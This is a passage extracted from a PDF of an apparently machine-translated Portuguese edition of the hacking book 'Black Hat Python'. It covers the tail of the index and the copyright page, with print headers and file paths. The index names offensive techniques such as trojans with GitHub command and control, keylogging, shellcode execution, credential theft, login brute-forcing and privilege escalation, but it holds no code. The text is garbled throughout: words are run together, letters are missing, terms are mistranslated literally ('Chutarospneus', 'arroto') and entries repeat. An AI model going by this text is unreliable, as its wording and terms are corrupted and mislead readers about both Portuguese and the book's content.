C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Pneus,chutarospneus,SSHTunneling,SSHTunneling,TunnelingSSH

tunneling,Chutarospneus,Chutarospneus,Chutarospneus,Chutarospneus,SSH
Tunneling,SSHtunelamento,tunelamentoSSH
paraafrente,Chutarospneus,Chutarospneus
reversa,Chutarospneus,SSHTunneling,SSHTunneling
testes,SSHTunneling
comparamiko,SSHcomparamiko,SSHcomparamiko,SSHcomparamiko,SSHcom
Paramiko,SSHcomparamiko,SSHcomparamiko
acriaodeservidorSSH,SSHcomparamiko
instalarparamiko,SSHcomparamiko
autenticaodechave,SSHcomparamiko
execuodecomandosnoclienteWindowsporSSH,SSHcomparamiko
testes,SSHcomparamiko
funossh_command,SSHcomparamiko
GuiaDadosPilha,WingIDE,WingIDE
funostart_monitor,ganhandoacorrida
parmetroloja,roubandomailCredenciais
funostore_module_result,ConstruindoumGithubAwareTrojan
funotira,VirandositecontedoemSenhaouro
bibliotecasubprocess,SubstituindoNetcat
SVNDigger,Chutarospneus

T
TagStripperclasse,VirandositecontedoemSenhaouro
dicionriotag_results,BruteForandoHTMLFormAuthentication
Guiadestino,arroto,Chutarospneus,VirandositecontedoemSenhaOuro,Virandosite
Contedoemourosenha
ClientesTCP,criando,ARede:Basics
ProxiesTCP,Chutarospneus,Chutarospneus,ConstruindoumTCPProxy,ConstruindoumTCPProxy,
ConstruindoumProxyTCP

criando,Chutarospneus
hexdespejofuno,ConstruindoumTCPProxy
funoproxy_handler,ConstruindoumTCPProxy
razesparaaconstruo,retrocedeospneus
testes,ConstruindoumTCPProxy
ServidoresTCP,criando,TCPServidor
ClasseTCPServer,ManintheBrowser(tipode)
funotest_remote,MapeamentoAbrirFonteWebAppInstalaes
privilgiossimblicos,ProcessodeMonitoramentocomWMI,oWindowsTokenparaprivilgios,oWindowstoken
privilgios
recuperarautomaticamenteprivilgioshabilitados,oWindowsTokenparaprivilgios
outputtingeregistro,oWindowsTokenparaPrivilgios
mtododetransporte,SSHTunneling
trojans,GithubComandoeControle,Githubcomandoecontrole,CriaodeMdulos,Trojan
Configurao,ConstruindoumGithubAwareTrojan,funcionalidadedeimportaodeHackingPython,Hacking
FuncionalidadedeimportaodoPython,Chutarospneus,TarefasTrojaningcomunsparaoWindows,Keylogging
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

110/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

paraodivertimentoeoTeclar,chutarospneus,TomarScreenshots,chutarospneus
GitHubaware,GithubComandoeControle,GithubComandoeControle,CriandoMdulos,
ConfiguraodeTria,ConstruindoumTrojanGithubAware,funcionalidadedeimportaodeHackingPython,
HackingfuncionalidadedeimportaodoPython,Chutarospneus
configuraodaconta,GithubComandoeControle
construo,construodeumGithubAwareTrojan
Configurando,TrojanConfigurao
criaodemdulos,CriaodeMdulos
hackersfuncionalidadedeimportao,HackingdoPythonimportaoFuncionalidade
melhoriaseaperfeioamentospara,Chutarospneus
testes,HackingdoPythonimportaoFuncionalidade
TarefasdoWindows,CommonTrojaningTarefasnoWindowsKeyloggingparaFuneteclas,
Chutarospneus,TomarScreenshots,chutarospneus
keylogging,KeyloggingparaFuneTeclas
detecodesandbox,Chutarospneus
screenshots,Chutarospneus
execuoshellcode,TomarScreenshots
Tumblr,CriaodoServidor

voc
ClientesUDP,criando,TCPCliente
udp_senderfuno,DecodingICMP
bibliotecaurllib2,OsoqueteBibliotecadeaWeb:urllib2,TomarScreenshots
funourlopen,OsoqueteBibliotecadeaWeb:urllib2

V
VMWarePlayer,ConfiguraoUpSeuPythonAmbiente
Quadrovolatilidade,AutomatizandoofensivosForensics,AutomatizandoofensivosForensics,Automatizando
Forensicsofensivos,agarrandooshashesdesenha,cdigodiretoInjection
injeodecdigodireto,diretoCdigoInjection
instalao,AutomatizandoofensivosForensics
perfis,AutomatizandoofensivosForensics
recuperaroshashesdesenha,Agarrandosenhahashes

W
funowait_for_browser,ManintheBrowser(tipode)
bandeiraWB,SubstituindoNetcat
ataquesaaplicaesweb,Webhackery,OsoqueteBibliotecadeaWeb:urllib2,OsoqueteBibliotecade
Web:urllib2,ABibliotecasoquetedaWeb:urllib2,MapeamentoOpenSourceWebApp
Instalaes,chutarospneus,BruteForardiretrioselocalizaesdosficheiros,BruteForar
Diretrioselocalizaesdearquivo,BruteForandodiretrioselocalizaesdearquivo,BruteForando
Diretrioselocaisdearquivos,BruteForardiretrioselocalizaesdosficheiros,BruteForarHTML
Autenticaodeformulrio,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,chutarospneus,arrotofuzzing,arrotofuzzing,arrotofuzzing,arrotofuzzing,Burp
Fuzzing,arrotoFuzzing,chutarospneus,chutarospneus,chutarospneus,chutarospneus

bruteforcingdiretrioselocaisdearquivo,Chutarospneus,BruteForandoDiretrioseArquivo
Locais,diretrioselocalizaesdearquivo,DiretriosBruteforamentoeArquivoBrutoForando
Locais,diretrioselocalizaesdearquivo,DiretriosBruteforamentoeArquivoBrutoForando
localizaes

listadeextensesdeaplicaoparatestar,BruteForandoDiretriosearquivoLocalizaes
listadeextensesquecriam,BruteForarDiretriosearquivoLocalizaes
criandoQueueobjetosapartirdearquivosdelistasdepalavras,BruteForarDiretriosearquivoLocalizaes
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

111/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

criaodelistadepalavras,BruteForandoDiretriosearquivoLocalizaes
testes,BruteForandoDiretriosearquivoLocalizaes
bruteforcingautenticaodeformulrioHTML,BruteForandoHTMLFormAuthentication,BruteForando
AutenticaodeformulrioHTML,BruteForandoaautenticaodeformulrioHTML,BruteForandoHTML
Autenticaodeformulrio,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,BruteForandoaautenticaodeformulrioHTML,chutarospneus
formulriodelogindeadministrador,BruteForandoHTMLFormAuthentication
configuraesgerais,BruteForandoHTMLFormAuthentication
HTMLclassedeanlise,BruteForandoHTMLFormAuthentication
colaremlistadepalavras,BruteForandoHTMLFormAuthentication
classeforandobrutaprimria,BruteForandoHTMLFormAuthentication
solicitaodefluxo,BruteForandoHTMLFormAuthentication
testes,Chutarospneus
RequisiesGET,OsoqueteBibliotecadeaWeb:urllib2,OsoqueteBibliotecadeaWeb:urllib2,O
TomadaBibliotecadaWeb:urllib2,InstalaesMapeamentoOpenSourceWebApp
opensourceinstalaesdeaplicativoswebdemapeamento,mapeamentoAbrirFonteWebAppInstalaes
simples,OsoqueteBibliotecadeaWeb:urllib2
bibliotecasocket,OsoqueteBibliotecadeaWeb:urllib2
usandoaclasseRequest,OsoqueteBibliotecadeaWeb:urllib2
fuzzersaplicativosweb,arrotofuzzing,arrotofuzzing,arrotofuzzing,arrotofuzzing,arrotofuzzing,
ArrotarFuzzing,chutarospneus,chutarospneus,chutarospneus,chutarospneus
acessodocumentaoarroto,arrotoFuzzing
implementaodocdigoparaatendersexigncias,arrotoFuzzing
extensodecarregamento,arrotoFuzzing,arrotoFuzzing,Chutarospneus
fuzzersimples,arrotoFuzzing
usandoaextensodosataques,Chutarospneus,Chutarospneus,Chutarospneus
mdulowin32security,oWindowsTokenparaPrivilgios
ClasseWin32_Process,ProcessodeMonitoramentocomWMI,ProcessodeMonitoramentocomWMI
OWindowsinterfacegrficadedispositivo(GDI),Chutarospneus
Janelasdeescalonamentodeprivilgios,oWindowsPrivilegeEscalation,janelasPrivilegeEscalation,
Janelasdeescalonamentodeprivilgios,CriaodeumMonitordeProcessos,CriaodeumMonitordeProcesso,Processo
MonitorandocomWMI,omonitoramentodoprocessocomoWMI,privilgiosdeTokendoWindows,oWindowstoken
Privilgios,ganharacorrida,ganharacorrida,ganharacorrida,chutarospneus
injeodecdigo,Chutarospneus
instalarexemplodeservio,oWindowsPrivilegeEscalation
ainstalaodebibliotecas,oWindowsPrivilegeEscalation
monitoramentodeprocessos,criaodeumProcessoMonitor,CriandoumProcessoMonitor,ProcessodeMonitoramento
comWMI

testes,ProcessodeMonitoramentocomWMI
comoWMI,Criaodeumprocessodemonitor
privilgiossimblicos,ProcessodeMonitoramentocomWMI,oWindowsTokenparaprivilgios,oWindowstoken
privilgios
recuperarautomaticamenteprivilgioshabilitados,oWindowsTokenparaprivilgios
outputtingeregistro,oWindowsTokenparaPrivilgios
vencendocorridacontraaexecuodecdigo,ganhandoacorrida,ganharacorrida,ganharaCorrida
criaodemonitordearquivo,ganhandoacorrida
testes,ganhandoacorrida
TarefasdetriaWindows,CommonTrojaningTarefasnoWindowsKeyloggingparaFuneteclas,
Chutarospneus,TomarScreenshots,chutarospneus
keylogging,KeyloggingparaFuneTeclas
detecodesandbox,Chutarospneus
screenshots,Chutarospneus
execuoshellcode,TomarScreenshots
WingIDE,InstalandoKaliLinux,WingIDE,WingIDE,WingIDE,WingIDE,WingIDE,WingIDE,
WingIDE,WingIDE,WingIDE,WingIDE,WingIDE

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

112/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

acessar,WingIDE
Corrigindodependnciasausentes,WingIDE
discussogeral,InstalandoKaliLinux
inspecionaremodificarasvariveis
locais,WingIDE,WingIDE

instalao,WingIDE
abrindoembrancoarquivodePython,WingIDE
definirpontosdeinterrupo,WingIDE
definindoroteiroparaadepurao,WingIDE,WingIDE
vendorastreamentodepilha,WingIDE,WingIDE
funowordlist_menu,VirandositecontedoemSenhaouro
Wuergler,Mark,Criaodeumprocessodemonitor

BlackHatPython:ProgramaoPythonparahackersePentesters
JustinSeitz
Copyright2014
PYTHONchapupreto.
Todososdireitosreservados.Nenhumapartedestetrabalhopodeserreproduzidaoutransmitidaporqualquerformaouporqualquermeio,eletrnicooumecnico,
incluindofotocpia,gravaoouporqualquersistemadearmazenamentodeinformaoourecuperaosemaprviaautorizaoporescritododireitodeautor
proprietrioeeditor.
1817161514

123456789

ISBN10:1593275900
ISBN13:9781593275907
Editor:WilliamPollock
EditordeProduo:SerenaYang
Ilustraodacapa:GarryBooth
DesigndeInteriores:OctopodStudios
EditordeDesenvolvimento:TylerOrtman
RevisoresTcnicos:DanFrischeCliffJanzen
EditordeTexto:GillianMcGarvey
Compositor:LynnL'Heureux
Revisor:JamesFraleigh
Indexador:indexaoBIMeServiosdeReviso
Paraobterinformaessobreadistribuio,tradues,ouvendasagranel,porfavorcontacteNoStarchPress,Inc.diretamente:
NoStarchPress,Inc.
2458thStreet,SanFrancisco,CA94103
Telefone:415.863.9900info@nostarch.com
www.nostarch.com
BibliotecadoCongressodecontrolodonmero:2014953241
NoStarchPresseologotipoNoStarchPresssomarcasregistradasdaNoStarchPress,Inc.Outrosprodutosenomesdeempresasregistadas

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

113/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

aquimencionadospodemsermarcascomerciaisdeseusrespectivosproprietrios.Aoinvsdeusarumsmbolodemarcaregistradacomcadaocorrnciadeum
nomedemarcaregistrada,estamosusandoosnomesapenasdemaneiraeditorialeembenefciodoproprietriodamarca,semintenode
violaodamarcaregistrada.
Asinformaescontidasnestelivrodistribudo"comoest",semgarantia.Emboratodaprecauotenhasidotomadana
preparaodestetrabalho,nemoautornemNoStarchPress,Inc.terqualquerresponsabilidadeperantequalquerpessoaouentidadeemrelaoaqualquer
perdasoudanoscausados
ousupostamentecausados

diretaouindiretamentepelasinformaescontidasnele.

NoStarchPress
20141126T08:31:2808:00

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

114/114

Você também pode gostar